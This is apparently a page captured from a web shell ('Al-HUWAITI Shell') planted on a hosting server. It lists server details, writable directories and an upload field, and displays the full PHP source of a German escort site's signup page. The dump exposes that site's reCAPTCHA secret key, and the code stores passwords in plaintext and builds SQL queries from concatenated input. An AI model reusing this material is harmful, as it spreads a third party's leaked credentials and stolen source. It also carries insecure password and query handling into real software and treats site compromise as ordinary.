Al-HUWAITI Shell
Al-huwaiti


Server : LiteSpeed
System : Linux nl-srv-web1396.main-hosting.eu 4.18.0-553.83.1.lve.el8.x86_64 #1 SMP Wed Nov 12 10:04:12 UTC 2025 x86_64
User : u107206879 ( 107206879)
PHP Version : 7.2.34
Disable Function : NONE
Directory :  /home/u107206879/domains/escort46.de/public_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/u107206879/domains/escort46.de/public_html/signup.php
<?php
	include_once "db_connection.php";
	include_once "functions.php";
	require_once 'Mobile_Detect.php';
	$detect = new Mobile_Detect;
	
	if(isset($_SESSION['id']) && !empty($_SESSION['id'])){
		header('Location: '.SUB_URL.'/myaccount');
	}
	$success="";
	if(isset($_POST['submit']) && !empty($_POST['usrname']) && !empty($_POST['email']) && !empty($_POST['password'])){
		$error="";
		$usrname=test_input($_POST['usrname']);
		$email=test_input($_POST['email']);
		$password=test_input($_POST['password']);
		$createdate = date("Y-m-d");
		$last_mail_sent = date("Y-m-d H:i:s");
		$status = 0;
		$activationcode=md5($email.time());
		
		#rechapcha		 
		if (!empty($_POST['g-recaptcha-response'])) { 
			$response = json_decode(file_get_contents("https://www.google.com/recaptcha/api/siteverify?secret=6Lf2JtkZAAAAAM0U7yNxsmNiI35UWOp12peJe5pw&response=".$_POST['g-recaptcha-response']."&remoteip=".$_SERVER['REMOTE_ADDR']), true);
			if($response['success'] == false){
				$success=
							"<div align='center' class='alert alert-danger alert-dismissable'>
								<a href='#' class='close' data-dismiss='alert' aria-label='close'>X</a>
								Ungültiges Captcha. Bitte versuche es erneut.
							</div>";  
			}else{
		$usrtbl = "INSERT INTO `user` (`id`, `usrname`, `email`, `password`, `country`, `create_date`, `activationcode`,`status`,`last_mail_sent`) 
		VALUES (NULL, '".addslashes($usrname)."', '".addslashes($email)."', '".addslashes($password)."', 'Denmark', '".addslashes($createdate)."', '".addslashes($activationcode)."', '".addslashes($status)."', '".addslashes($last_mail_sent)."')";
		$usrresult=mysqli_query($connection,$usrtbl); 
		
		if($usrresult){
			$inserted_id = mysqli_insert_id($connection);
			$to=$email;
			$msg= "Sehr geehrter $usrname \n";   
			$subject="E-Mail Verifizierung (".MAIN_EMAIL_NAME.")";
			$headers='From:'.MAIN_EMAIL_NAME.' <'.MAIN_EMAIL.'>';
			$msg.="Danke für die Neuanmeldung \n";
			$msg.="Bitte klicken Sie auf den folgenden Link, um Ihr Konto zu bestätigen und zu aktivieren \n
			\n".SUB_URL."/email_verification.php?code=$activationcode";
			mail($to,$subject,$msg,$headers);
			$success=
					"<div align='center' class='alert alert-success alert-dismissable'>
						<a href='#' class='close' data-dismiss='alert' aria-label='close'>X</a>
						Registrierung erfolgreich! Überprüfen Sie Ihr Postfach, um Ihr Konto zu bestätigen und zu aktivieren. <strong> Überprüfen Sie auch den Spam-Ordner! </strong>
					</div>";
			$user_ip = getUserIP();
			$_SESSION['id'] = $inserted_id;
			$_SESSION['email'] = $email;
			$_SESSION['usrname'] = $usrname;
			$_SESSION['status'] = $status;
			$now_date = date('Y-m-d H:i:s');
			$qry = "UPDATE user SET last_login='$now_date' , ip_address='$user_ip' WHERE id=$inserted_id";
			$sql=mysqli_query($connection,$qry);
			
			header("location: ".SUB_URL."/myaccount");
	  	}else{
		 	$success=
					"<div align='center' class='alert alert-danger alert-dismissable'>
						<a href='#' class='close' data-dismiss='alert' aria-label='close'>X</a>
						Sie haben sich bereits mit dieser E-Mail registriert! Bitte loggen Sie sich ein oder versuchen Sie es mit einer anderen E-Mail!
					</div>";
				}
			}	
		}else{
			$success=
					"<div align='center' class='alert alert-danger alert-dismissable'>
						<a href='#' class='close' data-dismiss='alert' aria-label='close'>X</a>
						Ungültiges Captcha. Bitte versuche es erneut.
					</div>";
		}
	}
	//form validation function to prevent from hacker
	function test_input($data) {
		$data = trim($data);
		$data = stripslashes($data);
		$data = htmlspecialchars($data);
		return $data;
	}
?>

<!DOCTYPE html>
<html lang="<?= $language ?>">
<head>    
    <?php include_once "new_head.php"; ?>
</head>
<body id="myPage">
    <div id="mobile-indicator"></div>
    <div id="page-wrapper">
    	<?php include_once "header.php"; ?>
	    <section id="content" class="<?= $container.' '.$cont_fluid_bg_class ?> container-fluid">
			<div class="col-sm-12 col-md-12 col-xs-12 col-lg-12 no-padding">
		<?php
				if($page_ad_active == 1 || $page_top_ad_active == 1 || $page_left_ad_active == 1 || $page_right_ad_active == 1 || WEBSITE_PAGE_LAYOUT=="small"){
		?>
			    <div class="col-sm-12 col-md-1 col-xs-12 col-lg-1"></div>
		<?php	} 	?>
				<div class="<?= $page_ad_bs_class ?>">
					<section id="login">
					    <div class="">
					    	<div class="row">
					    	    <div class="col-xs-12 col-sm-12 col-md-4 col-lg-4 signin">
					        	    <div class="form-wrap">
					                	<?php 
											if($success != ""){
												echo $success;
											} 
										?>
					                    <center class="description">
						                    <h1>Anmelden</h1>
						                    <hr class="hr_lines">
						                    <p class="mb-40">Füllen Sie das Registrierungsformular aus, um ein neues Konto zu erstellen</p>
					                    </center>
					                    <div class="error-message" style="margin-bottom: 10px;"><?php if(isset($message)) { echo $message; } ?></div>
					                    <form id="signupForm" action="" method="post" enctype="multipart/form-data">
											<div class="form-group">
					                            <input type="text" name="usrname" class="form-control input_border_radius" id="usrname" placeholder="Nutzername">
											</div>
					                            
					                        <div class="form-group">
					                            <input type="email" name="email" class="form-control input_border_radius" id="email" placeholder="[email protected]">
					                            <span class="below-text"></span>
					                        </div>
					                            
					                        <div class="form-group">
					                            <input type="password" name="password" class="form-control input_border_radius" id="password" placeholder="Passwort">
					                        </div>
											
											<script src="https://www.google.com/recaptcha/api.js" async defer></script>
											<div class="form-group captcha_wrapper" align="center">
												<div class="g-recaptcha" data-sitekey="6Lf2JtkZAAAAAAjR9rAlwuwyNra9Iv-4dvgQ0nfO"></div>
											</div>
											
					                        <div align="center">
					                            <input type="submit" name="submit" id="register" class="btn btn-custom btn-lg btn-block mb-20" value="Anmelden">
					                		</div>
					            		</form>
					            		<div class="col-md-12 col-sm-12 col-xs-12 text-center nopadding">
					            			<span class="contdition-check">Mit der Anmeldung<br>Sie stimmen unseren zu <a href="#" class="login_link" data-toggle="modal" data-target="#modalPolicy" style="color:#f7498e;">Datenschutzrichtlinie und Nutzungsbedingungen</a></span>
					            			<hr>
					                    	<a href="<?php echo SUB_URL; ?>/login" class="login_link">Haben Sie bereits ein Konto ? Klick hier !</a>
					                    </div>
					        	    </div>
					    		</div>
					    	</div>
					    	<div class="col-md-2 col-lg-2" style="padding-top: 10px;"></div>
							<div class="col-xs-12 col-md-8 col-lg-8 col-sm-12 myadpic" style="margin-bottom: 10px;padding-top: 10px;">
								<?php include("myadpic.php"); ?>
							</div>
							<div class="col-md-2 col-lg-2" style="padding-top: 10px;"></div>
					    </div>
					    
					    <div id="modalPolicy" class="modal fade" role="dialog">
						    <div class="modal-dialog">
						        <!-- Modal content-->
						        <div class="modal-content">
						            <div class="modal-header">
						                <button type="button" class="close" data-dismiss="modal">&times;</button>
						                <h4 class="modal-title" style="text-align-last: center">Privacy Policy and Terms</h4>
						            </div>
						            <div class="modal-body terms-policy">
										<img src="<?php echo MAIN_URL;?>/images/logo/logo.png" alt="escort46 logo" style="max-width: 100%; height: auto;">
										<p>
										<p>Wir speichern und behandeln eine Reihe von persönlichen Informationen über unsere Nutzer.</p>
										<p>Wir möchten, dass Sie verstehen, wofür wir Ihre Daten verwenden und warum wir sie aufbewahren - und Sie können hier mehr darüber erfahren.</p>
										<p style="margin-left: -.25pt;"><span style="font-size: 16pt; color: #800080; font-family: calibri, sans-serif;">Allgemein</span>
										<p>Wir bewahren Ihre Daten auf, bis Sie Ihr Profil löschen. <br> Wenn Sie Ihr Profil löschen, werden Ihre Daten sofort für die Öffentlichkeit gelöscht und in einer Routine in der folgenden Nacht gelöscht.</p>
										<p>Ihre Forenbeiträge bleiben die einzige Sache, aber alle Verweise auf Ihr Profil (zusätzlich zum Profilnamen) werden nicht mehr angezeigt.</p>
										<p>Wir machen fortlaufende Sicherungen, dh die Daten werden für einen bestimmten Zeitraum gespeichert und danach automatisch gelöscht. Damit stellen wir sicher, dass wir Escort46 im Falle eines Systemausfalls neu erstellen können.</p>
										<p style="margin-left: -.25pt;"><span style="font-size: 16pt; color: #800080; font-family: calibri, sans-serif;">Welche Daten speichern wir?</span>
										<p>Die Informationen, die Sie uns zur Verfügung stellen, wenn Sie Ihr Profil erstellen und verwenden, sowie Ihre Mitteilungen, Bilder usw.</p>
										<p>Wir speichern folgendes:</p>
										<ul><li>Nutzername</li></ul>
										<ul><li>Passwort</li></ul>
										<ul><li>E-Mail-Addresse</li></ul>
										<ul><li>Geschlecht</li></ul>
										<ul><li>Postleitzahl / Stadt / Land</li></ul>
										<ul><li>Informationen zum Körper</li></ul>
										<ul><li>Wonach suchen Sie</li></ul>
										<ul><li>Bilder und Videos, die Sie in Ihr Profil hochladen (Profilbilder, Galeriebilder und ähnliche Videos) sowie verwandte Kategorien und Texte</li></ul>
										<ul><li>Profiltext</li></ul>
										<ul><li>Telefonnummer</li></ul>
										<ul><li>Alle Nachrichten, die Sie senden, einschließlich Chat-Nachrichten, Gästebucheinträgen und Nachrichten in unserem Forum.</li></ul>
										<p style="margin-left: -.25pt;"><span style="font-size: 16pt; color: #800080; font-family: calibri, sans-serif;">Wir speichern die folgenden Daten, die Sie nicht selbst eingeben</span>
										<p>Wir speichern Ihre IP-Adresse bei jeder Anmeldung zusammen mit einer Anmeldezeit.<br>Partly for statistical reasons, but also to help you in case your profile is abused.</p>
										<p>Wir speichern auch die Identifikation Ihres Browsers, wo wir grundsätzlich sehen können, ob Sie Microsoft EDGE, Google Chrome und dergleichen verwenden. Es wird für Statistiken und Supportanwendungen verwendet, bei denen die Fehlerbehebung einfacher ist und Sie weiterhelfen können.</p>
										<p>Wir speichern, welche Profile Sie sich angesehen haben und was Sie zum Beispiel angesehen haben. ob Sie das Profil selbst gelesen haben, in der Galerie nachgeschaut haben usw. Diese Daten werden für 7 Tage gespeichert und danach gelöscht.</p>
										<p>Wir speichern eine Liste Ihrer Einkäufe, damit Sie jederzeit sehen können, welche Einkäufe Sie wann vorgenommen haben.</p>
										<p style="margin-left: -.25pt;"><span style="font-size: 16pt; color: #800080; font-family: calibri, sans-serif;">Die Gründe, warum wir die Daten speichern</span>
										<p>Escort46 ist ein soziales Medium mit dem Ziel, Menschen zusammenzubringen und Einheit, Freundschaften und Beziehungen zu schaffen.</p>
										<p>Ihre Daten sind der Eckpfeiler unseres Produktes. dass andere Sie finden und Sie finden können - und Sie können sehen, ob es ein Potenzial gibt, auf dem Sie aufbauen können.</p>
										<p style="margin-left: -.25pt;"><span style="font-size: 16pt; color: #800080; font-family: calibri, sans-serif;">Wir geben die folgenden Daten an Dritte weiter</span>
										<p>Wir teilen einige Ihrer Daten mit jedem, der Ihr Profil sieht. Sie können Ihr eigenes Profil sehen, um ein Beispiel zu sehen, wie dies aussieht.</p>
										<p>Wenn Sie sich für den Kauf einer Anzeige bei uns entscheiden, werden die Zahlungsinformationen bei PayPal in ihrem Zahlungsportal gespeichert. Wir speichern keine Informationen über Ihre Kreditkarte.</p>
										<p>Support wird von Escort46 bereitgestellt, das selbst Zugriff auf die Informationen in unseren Systemen hat.</p>
										<p>Escort46 verarbeitet Anzeigen von Drittanbietern und setzt Cookies durch. Escort46 dient zum Targeting von Werbung.</p>
										<p style="margin-left: -.25pt;"><span style="font-size: 16pt; color: #800080; font-family: calibri, sans-serif;">Daten löschen</span>
										<p>Wir speichern Ihre Daten für einen Zeitraum von bis zu 5 Jahren, nachdem Sie Ihr Profil gelöscht haben.<br> Dies geschieht zu Abrechnungszwecken, wenn wir gesetzlich verpflichtet sind, diese Daten für 5 Jahre zu speichern.</p>
										<p style="margin-left: -.25pt;"><span style="font-size: 16pt; color: #800080; font-family: calibri, sans-serif;">Explizite Entfernung von Daten</span>
										<p>Wenn Sie möchten, dass wir alle Daten zu Ihrem Profil entfernen, setzen Sie sich bitte per E-Mail mit uns in Verbindung.</p>
										<p style="margin-left: -.25pt;"><span style="font-size: 16pt; color: #800080; font-family: calibri, sans-serif;">Deine Rechte</span>
										<p>Die Verordnung über europäische personenbezogene Daten gibt Ihnen eine Reihe von Rechten, wenn wir Ihre persönlichen Daten verarbeiten.</p>
										<ul><li>Das Recht, über die Verarbeitung von Daten informiert zu werden</li></ul>
										<ul><li>Das Recht, auf Ihre persönlichen Daten zuzugreifen</li></ul>
										<ul><li>Das Recht auf Berichtigung</li></ul>
										<ul><li>Das Recht zu löschen</li></ul>
										<ul><li>Das Recht, die Behandlung einzuschränken</li></ul>
										<ul><li>Das Recht, Ihre Daten zu übergeben</li></ul>
										<ul><li>Das Recht zu widersprechen</li></ul>
										<p>Sie können Ihre Rechte jederzeit nutzen, indem Sie uns kontaktieren.</p>
										<p>Wenn Sie feststellen, dass wir bei Ihrer Anfrage nicht richtig handeln, können Sie beispielsweise jederzeit eine Beschwerde bei einer Datenschutzbehörde einreichen. Datenschutzbehörde.</p>
										<br>
										<br>
										<p>Escort46 Ads</p>
										<p><?php echo MAIN_EMAIL;?></p>
						            </div>
						            <div class="modal-footer">
						                <button type="button" class="btn btn-default" data-dismiss="modal">Schließen</button>
						            </div>
						        </div>
						    </div>
						</div>
						
					</section>
				</div>
		<?php
			if($page_ad_active == 1 || $page_top_ad_active == 1 || $page_left_ad_active == 1 || $page_right_ad_active == 1 || WEBSITE_PAGE_LAYOUT=="small"){
		?>
			    <div class="col-sm-12 col-md-1 col-xs-12 col-lg-1"></div>
		<?php
			}
		?>
			</div>
        </section>
        
        <footer id="footer">
            <div class="footer-wrapper">
                <?php include_once 'footer.php';  ?>
            </div>
        </footer>
    </div>
	<?php include_once 'js_zone.php'; ?>
<style type="text/css">
   .mobileShow { 
   		display: none;
	}
   /* Smartphone Portrait and Landscape */
   @media only screen
   and (min-device-width : 320px)
   and (max-device-width : 480px){ .mobileShow { display: inline;padding-left:160px;}}
</style>

<script>
	$().ready(function() {
		jQuery.validator.addMethod("lettersonly", function(value, element) {
			return this.optional(element) || /^[a-z0-9_]+$/i.test(value);
		}, "Verwenden Sie nur Buchstaben und Zahlen. Leerzeichen oder Sonderzeichen wie @%$!?# Sind nicht zulässig"); 

		// validate signup form on keyup and submit
		$("#signupForm").validate({
			rules: {
				usrname: {
					required: true,
					minlength: 3,
					maxlength: 20,
					lettersonly: true,
					remote: {
			            type: 'POST',
			            url: '<?php echo SUB_URL; ?>/services/username_exist'
			        }
				},
				email: {
					required: true,
					email: true,
					remote: {
			            type: 'POST',
			            url: '<?php echo SUB_URL; ?>/services/email_exist'
			        }
				},
				password: {
					required: true,
					minlength: 5
				}
			},
			messages: {
				usrname: {
					required: "Bitte geben Sie einen Benutzernamen ein",
					minlength: "Der Benutzername muss aus mindestens 3 Zeichen bestehen",
					maxlength: "Maximal 20 Zeichen erlaubt",
					remote: "Dieser Benutzername ist bereits vergeben"
				},
				email: {
					required: "Bitte geben Sie eine E-Mail-Adresse ein",
					email: "Bitte geben Sie eine gültige Email-Adresse ein",
					remote: "Diese Email ist bereits registriert"
				},
				password: {
					required: "Bitte Passwort eingeben",
					minlength: "Ihr Passwort muss aus mindestens 5 Zeichen bestehen"
				}
			}
		});
	});
</script>

</body>
</html>

Al-HUWAITI Shell